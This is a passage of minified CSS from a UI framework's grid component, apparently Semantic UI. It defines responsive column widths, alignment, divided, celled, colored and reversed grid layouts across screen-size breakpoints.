mobile"].column{width:25%!important}.ui.column.grid>[class*="five wide mobile"].column,.ui.grid>.column.row>[class*="five wide mobile"].column,.ui.grid>.row>[class*="five wide mobile"].column,.ui.grid>[class*="five wide mobile"].column{width:31.25%!important}.ui.column.grid>[class*="six wide mobile"].column,.ui.grid>.column.row>[class*="six wide mobile"].column,.ui.grid>.row>[class*="six wide mobile"].column,.ui.grid>[class*="six wide mobile"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide mobile"].column,.ui.grid>.column.row>[class*="seven wide mobile"].column,.ui.grid>.row>[class*="seven wide mobile"].column,.ui.grid>[class*="seven wide mobile"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide mobile"].column,.ui.grid>.column.row>[class*="eight wide mobile"].column,.ui.grid>.row>[class*="eight wide mobile"].column,.ui.grid>[class*="eight wide mobile"].column{width:50%!important}.ui.column.grid>[class*="nine wide mobile"].column,.ui.grid>.column.row>[class*="nine wide mobile"].column,.ui.grid>.row>[class*="nine wide mobile"].column,.ui.grid>[class*="nine wide mobile"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide mobile"].column,.ui.grid>.column.row>[class*="ten wide mobile"].column,.ui.grid>.row>[class*="ten wide mobile"].column,.ui.grid>[class*="ten wide mobile"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide mobile"].column,.ui.grid>.column.row>[class*="eleven wide mobile"].column,.ui.grid>.row>[class*="eleven wide mobile"].column,.ui.grid>[class*="eleven wide mobile"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide mobile"].column,.ui.grid>.column.row>[class*="twelve wide mobile"].column,.ui.grid>.row>[class*="twelve wide mobile"].column,.ui.grid>[class*="twelve wide mobile"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide mobile"].column,.ui.grid>.column.row>[class*="thirteen wide mobile"].column,.ui.grid>.row>[class*="thirteen wide mobile"].column,.ui.grid>[class*="thirteen wide mobile"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide mobile"].column,.ui.grid>.column.row>[class*="fourteen wide mobile"].column,.ui.grid>.row>[class*="fourteen wide mobile"].column,.ui.grid>[class*="fourteen wide mobile"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide mobile"].column,.ui.grid>.column.row>[class*="fifteen wide mobile"].column,.ui.grid>.row>[class*="fifteen wide mobile"].column,.ui.grid>[class*="fifteen wide mobile"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide mobile"].column,.ui.grid>.column.row>[class*="sixteen wide mobile"].column,.ui.grid>.row>[class*="sixteen wide mobile"].column,.ui.grid>[class*="sixteen wide mobile"].column{width:100%!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.column.grid>[class*="one wide tablet"].column,.ui.grid>.column.row>[class*="one wide tablet"].column,.ui.grid>.row>[class*="one wide tablet"].column,.ui.grid>[class*="one wide tablet"].column{width:6.25%!important}.ui.column.grid>[class*="two wide tablet"].column,.ui.grid>.column.row>[class*="two wide tablet"].column,.ui.grid>.row>[class*="two wide tablet"].column,.ui.grid>[class*="two wide tablet"].column{width:12.5%!important}.ui.column.grid>[class*="three wide tablet"].column,.ui.grid>.column.row>[class*="three wide tablet"].column,.ui.grid>.row>[class*="three wide tablet"].column,.ui.grid>[class*="three wide tablet"].column{width:18.75%!important}.ui.column.grid>[class*="four wide tablet"].column,.ui.grid>.column.row>[class*="four wide tablet"].column,.ui.grid>.row>[class*="four wide tablet"].column,.ui.grid>[class*="four wide tablet"].column{width:25%!important}.ui.column.grid>[class*="five wide tablet"].column,.ui.grid>.column.row>[class*="five wide tablet"].column,.ui.grid>.row>[class*="five wide tablet"].column,.ui.grid>[class*="five wide tablet"].column{width:31.25%!important}.ui.column.grid>[class*="six wide tablet"].column,.ui.grid>.column.row>[class*="six wide tablet"].column,.ui.grid>.row>[class*="six wide tablet"].column,.ui.grid>[class*="six wide tablet"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide tablet"].column,.ui.grid>.column.row>[class*="seven wide tablet"].column,.ui.grid>.row>[class*="seven wide tablet"].column,.ui.grid>[class*="seven wide tablet"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide tablet"].column,.ui.grid>.column.row>[class*="eight wide tablet"].column,.ui.grid>.row>[class*="eight wide tablet"].column,.ui.grid>[class*="eight wide tablet"].column{width:50%!important}.ui.column.grid>[class*="nine wide tablet"].column,.ui.grid>.column.row>[class*="nine wide tablet"].column,.ui.grid>.row>[class*="nine wide tablet"].column,.ui.grid>[class*="nine wide tablet"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide tablet"].column,.ui.grid>.column.row>[class*="ten wide tablet"].column,.ui.grid>.row>[class*="ten wide tablet"].column,.ui.grid>[class*="ten wide tablet"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide tablet"].column,.ui.grid>.column.row>[class*="eleven wide tablet"].column,.ui.grid>.row>[class*="eleven wide tablet"].column,.ui.grid>[class*="eleven wide tablet"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide tablet"].column,.ui.grid>.column.row>[class*="twelve wide tablet"].column,.ui.grid>.row>[class*="twelve wide tablet"].column,.ui.grid>[class*="twelve wide tablet"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide tablet"].column,.ui.grid>.column.row>[class*="thirteen wide tablet"].column,.ui.grid>.row>[class*="thirteen wide tablet"].column,.ui.grid>[class*="thirteen wide tablet"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide tablet"].column,.ui.grid>.column.row>[class*="fourteen wide tablet"].column,.ui.grid>.row>[class*="fourteen wide tablet"].column,.ui.grid>[class*="fourteen wide tablet"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide tablet"].column,.ui.grid>.column.row>[class*="fifteen wide tablet"].column,.ui.grid>.row>[class*="fifteen wide tablet"].column,.ui.grid>[class*="fifteen wide tablet"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide tablet"].column,.ui.grid>.column.row>[class*="sixteen wide tablet"].column,.ui.grid>.row>[class*="sixteen wide tablet"].column,.ui.grid>[class*="sixteen wide tablet"].column{width:100%!important}}@media only screen and (min-width:992px){.ui.column.grid>[class*="one wide computer"].column,.ui.grid>.column.row>[class*="one wide computer"].column,.ui.grid>.row>[class*="one wide computer"].column,.ui.grid>[class*="one wide computer"].column{width:6.25%!important}.ui.column.grid>[class*="two wide computer"].column,.ui.grid>.column.row>[class*="two wide computer"].column,.ui.grid>.row>[class*="two wide computer"].column,.ui.grid>[class*="two wide computer"].column{width:12.5%!important}.ui.column.grid>[class*="three wide computer"].column,.ui.grid>.column.row>[class*="three wide computer"].column,.ui.grid>.row>[class*="three wide computer"].column,.ui.grid>[class*="three wide computer"].column{width:18.75%!important}.ui.column.grid>[class*="four wide computer"].column,.ui.grid>.column.row>[class*="four wide computer"].column,.ui.grid>.row>[class*="four wide computer"].column,.ui.grid>[class*="four wide computer"].column{width:25%!important}.ui.column.grid>[class*="five wide computer"].column,.ui.grid>.column.row>[class*="five wide computer"].column,.ui.grid>.row>[class*="five wide computer"].column,.ui.grid>[class*="five wide computer"].column{width:31.25%!important}.ui.column.grid>[class*="six wide computer"].column,.ui.grid>.column.row>[class*="six wide computer"].column,.ui.grid>.row>[class*="six wide computer"].column,.ui.grid>[class*="six wide computer"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide computer"].column,.ui.grid>.column.row>[class*="seven wide computer"].column,.ui.grid>.row>[class*="seven wide computer"].column,.ui.grid>[class*="seven wide computer"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide computer"].column,.ui.grid>.column.row>[class*="eight wide computer"].column,.ui.grid>.row>[class*="eight wide computer"].column,.ui.grid>[class*="eight wide computer"].column{width:50%!important}.ui.column.grid>[class*="nine wide computer"].column,.ui.grid>.column.row>[class*="nine wide computer"].column,.ui.grid>.row>[class*="nine wide computer"].column,.ui.grid>[class*="nine wide computer"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide computer"].column,.ui.grid>.column.row>[class*="ten wide computer"].column,.ui.grid>.row>[class*="ten wide computer"].column,.ui.grid>[class*="ten wide computer"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide computer"].column,.ui.grid>.column.row>[class*="eleven wide computer"].column,.ui.grid>.row>[class*="eleven wide computer"].column,.ui.grid>[class*="eleven wide computer"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide computer"].column,.ui.grid>.column.row>[class*="twelve wide computer"].column,.ui.grid>.row>[class*="twelve wide computer"].column,.ui.grid>[class*="twelve wide computer"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide computer"].column,.ui.grid>.column.row>[class*="thirteen wide computer"].column,.ui.grid>.row>[class*="thirteen wide computer"].column,.ui.grid>[class*="thirteen wide computer"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide computer"].column,.ui.grid>.column.row>[class*="fourteen wide computer"].column,.ui.grid>.row>[class*="fourteen wide computer"].column,.ui.grid>[class*="fourteen wide computer"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide computer"].column,.ui.grid>.column.row>[class*="fifteen wide computer"].column,.ui.grid>.row>[class*="fifteen wide computer"].column,.ui.grid>[class*="fifteen wide computer"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide computer"].column,.ui.grid>.column.row>[class*="sixteen wide computer"].column,.ui.grid>.row>[class*="sixteen wide computer"].column,.ui.grid>[class*="sixteen wide computer"].column{width:100%!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.column.grid>[class*="one wide large screen"].column,.ui.grid>.column.row>[class*="one wide large screen"].column,.ui.grid>.row>[class*="one wide large screen"].column,.ui.grid>[class*="one wide large screen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide large screen"].column,.ui.grid>.column.row>[class*="two wide large screen"].column,.ui.grid>.row>[class*="two wide large screen"].column,.ui.grid>[class*="two wide large screen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide large screen"].column,.ui.grid>.column.row>[class*="three wide large screen"].column,.ui.grid>.row>[class*="three wide large screen"].column,.ui.grid>[class*="three wide large screen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide large screen"].column,.ui.grid>.column.row>[class*="four wide large screen"].column,.ui.grid>.row>[class*="four wide large screen"].column,.ui.grid>[class*="four wide large screen"].column{width:25%!important}.ui.column.grid>[class*="five wide large screen"].column,.ui.grid>.column.row>[class*="five wide large screen"].column,.ui.grid>.row>[class*="five wide large screen"].column,.ui.grid>[class*="five wide large screen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide large screen"].column,.ui.grid>.column.row>[class*="six wide large screen"].column,.ui.grid>.row>[class*="six wide large screen"].column,.ui.grid>[class*="six wide large screen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide large screen"].column,.ui.grid>.column.row>[class*="seven wide large screen"].column,.ui.grid>.row>[class*="seven wide large screen"].column,.ui.grid>[class*="seven wide large screen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide large screen"].column,.ui.grid>.column.row>[class*="eight wide large screen"].column,.ui.grid>.row>[class*="eight wide large screen"].column,.ui.grid>[class*="eight wide large screen"].column{width:50%!important}.ui.column.grid>[class*="nine wide large screen"].column,.ui.grid>.column.row>[class*="nine wide large screen"].column,.ui.grid>.row>[class*="nine wide large screen"].column,.ui.grid>[class*="nine wide large screen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide large screen"].column,.ui.grid>.column.row>[class*="ten wide large screen"].column,.ui.grid>.row>[class*="ten wide large screen"].column,.ui.grid>[class*="ten wide large screen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide large screen"].column,.ui.grid>.column.row>[class*="eleven wide large screen"].column,.ui.grid>.row>[class*="eleven wide large screen"].column,.ui.grid>[class*="eleven wide large screen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide large screen"].column,.ui.grid>.column.row>[class*="twelve wide large screen"].column,.ui.grid>.row>[class*="twelve wide large screen"].column,.ui.grid>[class*="twelve wide large screen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide large screen"].column,.ui.grid>.column.row>[class*="thirteen wide large screen"].column,.ui.grid>.row>[class*="thirteen wide large screen"].column,.ui.grid>[class*="thirteen wide large screen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide large screen"].column,.ui.grid>.column.row>[class*="fourteen wide large screen"].column,.ui.grid>.row>[class*="fourteen wide large screen"].column,.ui.grid>[class*="fourteen wide large screen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide large screen"].column,.ui.grid>.column.row>[class*="fifteen wide large screen"].column,.ui.grid>.row>[class*="fifteen wide large screen"].column,.ui.grid>[class*="fifteen wide large screen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide large screen"].column,.ui.grid>.column.row>[class*="sixteen wide large screen"].column,.ui.grid>.row>[class*="sixteen wide large screen"].column,.ui.grid>[class*="sixteen wide large screen"].column{width:100%!important}}@media only screen and (min-width:1920px){.ui.column.grid>[class*="one wide widescreen"].column,.ui.grid>.column.row>[class*="one wide widescreen"].column,.ui.grid>.row>[class*="one wide widescreen"].column,.ui.grid>[class*="one wide widescreen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide widescreen"].column,.ui.grid>.column.row>[class*="two wide widescreen"].column,.ui.grid>.row>[class*="two wide widescreen"].column,.ui.grid>[class*="two wide widescreen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide widescreen"].column,.ui.grid>.column.row>[class*="three wide widescreen"].column,.ui.grid>.row>[class*="three wide widescreen"].column,.ui.grid>[class*="three wide widescreen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide widescreen"].column,.ui.grid>.column.row>[class*="four wide widescreen"].column,.ui.grid>.row>[class*="four wide widescreen"].column,.ui.grid>[class*="four wide widescreen"].column{width:25%!important}.ui.column.grid>[class*="five wide widescreen"].column,.ui.grid>.column.row>[class*="five wide widescreen"].column,.ui.grid>.row>[class*="five wide widescreen"].column,.ui.grid>[class*="five wide widescreen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide widescreen"].column,.ui.grid>.column.row>[class*="six wide widescreen"].column,.ui.grid>.row>[class*="six wide widescreen"].column,.ui.grid>[class*="six wide widescreen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide widescreen"].column,.ui.grid>.column.row>[class*="seven wide widescreen"].column,.ui.grid>.row>[class*="seven wide widescreen"].column,.ui.grid>[class*="seven wide widescreen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide widescreen"].column,.ui.grid>.column.row>[class*="eight wide widescreen"].column,.ui.grid>.row>[class*="eight wide widescreen"].column,.ui.grid>[class*="eight wide widescreen"].column{width:50%!important}.ui.column.grid>[class*="nine wide widescreen"].column,.ui.grid>.column.row>[class*="nine wide widescreen"].column,.ui.grid>.row>[class*="nine wide widescreen"].column,.ui.grid>[class*="nine wide widescreen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide widescreen"].column,.ui.grid>.column.row>[class*="ten wide widescreen"].column,.ui.grid>.row>[class*="ten wide widescreen"].column,.ui.grid>[class*="ten wide widescreen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide widescreen"].column,.ui.grid>.column.row>[class*="eleven wide widescreen"].column,.ui.grid>.row>[class*="eleven wide widescreen"].column,.ui.grid>[class*="eleven wide widescreen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide widescreen"].column,.ui.grid>.column.row>[class*="twelve wide widescreen"].column,.ui.grid>.row>[class*="twelve wide widescreen"].column,.ui.grid>[class*="twelve wide widescreen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide widescreen"].column,.ui.grid>.column.row>[class*="thirteen wide widescreen"].column,.ui.grid>.row>[class*="thirteen wide widescreen"].column,.ui.grid>[class*="thirteen wide widescreen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide widescreen"].column,.ui.grid>.column.row>[class*="fourteen wide widescreen"].column,.ui.grid>.row>[class*="fourteen wide widescreen"].column,.ui.grid>[class*="fourteen wide widescreen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide widescreen"].column,.ui.grid>.column.row>[class*="fifteen wide widescreen"].column,.ui.grid>.row>[class*="fifteen wide widescreen"].column,.ui.grid>[class*="fifteen wide widescreen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide widescreen"].column,.ui.grid>.column.row>[class*="sixteen wide widescreen"].column,.ui.grid>.row>[class*="sixteen wide widescreen"].column,.ui.grid>[class*="sixteen wide widescreen"].column{width:100%!important}}.ui.centered.grid,.ui.centered.grid>.row,.ui.grid>.centered.row{text-align:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ui.centered.grid>.column:not(.aligned):not(.justified):not(.row),.ui.centered.grid>.row>.column:not(.aligned):not(.justified),.ui.grid .centered.row>.column:not(.aligned):not(.justified){text-align:left}.ui.grid>.centered.column,.ui.grid>.row>.centered.column{display:block;margin-left:auto;margin-right:auto}.ui.grid>.relaxed.row>.column,.ui.relaxed.grid>.column:not(.row),.ui.relaxed.grid>.row>.column{padding-left:1.5rem;padding-right:1.5rem}.ui.grid>[class*="very relaxed"].row>.column,.ui[class*="very relaxed"].grid>.column:not(.row),.ui[class*="very relaxed"].grid>.row>.column{padding-left:2.5rem;padding-right:2.5rem}.ui.grid .relaxed.row+.ui.divider,.ui.relaxed.grid .row+.ui.divider{margin-left:1.5rem;margin-right:1.5rem}.ui.grid [class*="very relaxed"].row+.ui.divider,.ui[class*="very relaxed"].grid .row+.ui.divider{margin-left:2.5rem;margin-right:2.5rem}.ui.padded.grid:not(.vertically):not(.horizontally){margin:0!important}[class*="horizontally padded"].ui.grid{margin-left:0!important;margin-right:0!important}[class*="vertically padded"].ui.grid{margin-top:0!important;margin-bottom:0!important}.ui.grid [class*="left floated"].column{margin-right:auto}.ui.grid [class*="right floated"].column{margin-left:auto}.ui.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.divided.grid:not([class*="vertically divided"])>.row>.column{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="vertically divided"].grid>.column:not(.row),.ui[class*="vertically divided"].grid>.row>.column{margin-top:1rem;margin-bottom:1rem;padding-top:0;padding-bottom:0}.ui[class*="vertically divided"].grid>.row{margin-top:0;margin-bottom:0;position:relative}.ui.divided.grid:not([class*="vertically divided"])>.column:first-child,.ui.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:none}.ui[class*="vertically divided"].grid>.row:first-child>.column{margin-top:0}.ui.grid>.divided.row>.column{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui.grid>.divided.row>.column:first-child{box-shadow:none}.ui[class*="vertically divided"].grid>.row:before{position:absolute;content:"";top:0;left:0;width:calc(100% - 2rem);height:1px;margin:0 1rem;box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.padded.divided.grid:not(.vertically):not(.horizontally),[class*="horizontally padded"].ui.divided.grid{width:100%}.ui[class*="vertically divided"].grid>.row:first-child:before{box-shadow:none}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column{box-shadow:-1px 0 0 0 rgba(255,255,255,.1)}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row):first-child,.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:none}.ui.inverted[class*="vertically divided"].grid>.row:before{box-shadow:0 -1px 0 0 rgba(255,255,255,.1)}.ui.relaxed[class*="vertically divided"].grid>.row:before{margin-left:1.5rem;margin-right:1.5rem;width:calc(100% - 3rem)}.ui[class*="very relaxed"][class*="vertically divided"].grid>.row:before{margin-left:5rem;margin-right:5rem;width:calc(100% - 5rem)}.ui.celled.grid{width:100%;margin:1em 0;box-shadow:0 0 0 1px #D4D4D5}.ui.celled.grid>.row{width:100%!important;margin:0;padding:0;box-shadow:0 -1px 0 0 #D4D4D5}.ui.celled.grid>.column:not(.row),.ui.celled.grid>.row>.column{box-shadow:-1px 0 0 0 #D4D4D5;padding:1em}.ui.celled.grid>.column:first-child,.ui.celled.grid>.row>.column:first-child{box-shadow:none}.ui.relaxed.celled.grid>.column:not(.row),.ui.relaxed.celled.grid>.row>.column{padding:1.5em}.ui[class*="very relaxed"].celled.grid>.column:not(.row),.ui[class*="very relaxed"].celled.grid>.row>.column{padding:2em}.ui[class*="internally celled"].grid{box-shadow:none;margin:0}.ui[class*="internally celled"].grid>.row:first-child,.ui[class*="internally celled"].grid>.row>.column:first-child{box-shadow:none}.ui.grid>.row>[class*="top aligned"].column,.ui.grid>[class*="top aligned"].column:not(.row),.ui.grid>[class*="top aligned"].row>.column,.ui[class*="top aligned"].grid>.column:not(.row),.ui[class*="top aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;vertical-align:top;-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.ui.grid>.row>[class*="middle aligned"].column,.ui.grid>[class*="middle aligned"].column:not(.row),.ui.grid>[class*="middle aligned"].row>.column,.ui[class*="middle aligned"].grid>.column:not(.row),.ui[class*="middle aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;vertical-align:middle;-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.ui.grid>.row>[class*="bottom aligned"].column,.ui.grid>[class*="bottom aligned"].column:not(.row),.ui.grid>[class*="bottom aligned"].row>.column,.ui[class*="bottom aligned"].grid>.column:not(.row),.ui[class*="bottom aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;vertical-align:bottom;-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.ui.grid>.row>.stretched.column,.ui.grid>.stretched.column:not(.row),.ui.grid>.stretched.row>.column,.ui.stretched.grid>.column,.ui.stretched.grid>.row>.column{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.grid>.row>.stretched.column>*,.ui.grid>.stretched.column:not(.row)>*,.ui.grid>.stretched.row>.column>*,.ui.stretched.grid>.column>*,.ui.stretched.grid>.row>.column>*{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>.row>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].row>.column,.ui[class*="left aligned"].grid>.column,.ui[class*="left aligned"].grid>.row>.column{text-align:left;-webkit-align-self:inherit;-ms-flex-item-align:inherit;align-self:inherit}.ui.grid>.row>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].row>.column,.ui[class*="center aligned"].grid>.column,.ui[class*="center aligned"].grid>.row>.column{text-align:center;-webkit-align-self:inherit;-ms-flex-item-align:inherit;align-self:inherit}.ui[class*="center aligned"].grid{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ui.grid>.row>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].row>.column,.ui[class*="right aligned"].grid>.column,.ui[class*="right aligned"].grid>.row>.column{text-align:right;-webkit-align-self:inherit;-ms-flex-item-align:inherit;align-self:inherit}.ui.grid>.justified.column.column,.ui.grid>.justified.row>.column,.ui.grid>.row>.justified.column.column,.ui.justified.grid>.column,.ui.justified.grid>.row>.column{text-align:justify;-webkit-hyphens:auto;-moz-hyphens:auto;-ms-hyphens:auto;hyphens:auto}.ui.grid>.row>.black.column,.ui.grid>.row>.blue.column,.ui.grid>.row>.brown.column,.ui.grid>.row>.green.column,.ui.grid>.row>.grey.column,.ui.grid>.row>.olive.column,.ui.grid>.row>.orange.column,.ui.grid>.row>.pink.column,.ui.grid>.row>.purple.column,.ui.grid>.row>.red.column,.ui.grid>.row>.teal.column,.ui.grid>.row>.violet.column,.ui.grid>.row>.yellow.column{margin-top:-1rem;margin-bottom:-1rem;padding-top:1rem;padding-bottom:1rem}.ui.grid>.red.column,.ui.grid>.red.row,.ui.grid>.row>.red.column{background-color:#DB2828!important;color:#FFF}.ui.grid>.orange.column,.ui.grid>.orange.row,.ui.grid>.row>.orange.column{background-color:#F2711C!important;color:#FFF}.ui.grid>.row>.yellow.column,.ui.grid>.yellow.column,.ui.grid>.yellow.row{background-color:#FBBD08!important;color:#FFF}.ui.grid>.olive.column,.ui.grid>.olive.row,.ui.grid>.row>.olive.column{background-color:#B5CC18!important;color:#FFF}.ui.grid>.green.column,.ui.grid>.green.row,.ui.grid>.row>.green.column{background-color:#21BA45!important;color:#FFF}.ui.grid>.row>.teal.column,.ui.grid>.teal.column,.ui.grid>.teal.row{background-color:#00B5AD!important;color:#FFF}.ui.grid>.blue.column,.ui.grid>.blue.row,.ui.grid>.row>.blue.column{background-color:#2185D0!important;color:#FFF}.ui.grid>.row>.violet.column,.ui.grid>.violet.column,.ui.grid>.violet.row{background-color:#6435C9!important;color:#FFF}.ui.grid>.purple.column,.ui.grid>.purple.row,.ui.grid>.row>.purple.column{background-color:#A333C8!important;color:#FFF}.ui.grid>.pink.column,.ui.grid>.pink.row,.ui.grid>.row>.pink.column{background-color:#E03997!important;color:#FFF}.ui.grid>.brown.column,.ui.grid>.brown.row,.ui.grid>.row>.brown.column{background-color:#A5673F!important;color:#FFF}.ui.grid>.grey.column,.ui.grid>.grey.row,.ui.grid>.row>.grey.column{background-color:#767676!important;color:#FFF}.ui.grid>.black.column,.ui.grid>.black.row,.ui.grid>.row>.black.column{background-color:#1B1C1D!important;color:#FFF}.ui.grid>[class*="equal width"].row>.column,.ui[class*="equal width"].grid>.column:not(.row),.ui[class*="equal width"].grid>.row>.column{display:inline-block;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>[class*="equal width"].row>.wide.column,.ui[class*="equal width"].grid>.row>.wide.column,.ui[class*="equal width"].grid>.wide.column{-webkit-box-flex:0;-webkit-flex-grow:0;-ms-flex-positive:0;flex-grow:0}@media only screen and (max-width:767px){.ui.grid>[class*="mobile reversed"].row,.ui[class*="mobile reversed"].grid,.ui[class*="mobile reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui.stackable[class*="mobile reversed"],.ui[class*="mobile vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="mobile reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #D4D4D5}.ui[class*="mobile reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.grid>[class*="tablet reversed"].row,.ui[class*="tablet reversed"].grid,.ui[class*="tablet reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="tablet vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="tablet reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #D4D4D5}.ui[class*="tablet reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:992px){.ui.grid>[class*="computer reversed"].row,.ui[class*="computer reversed"].grid,.ui[class*="computer reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="computer vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 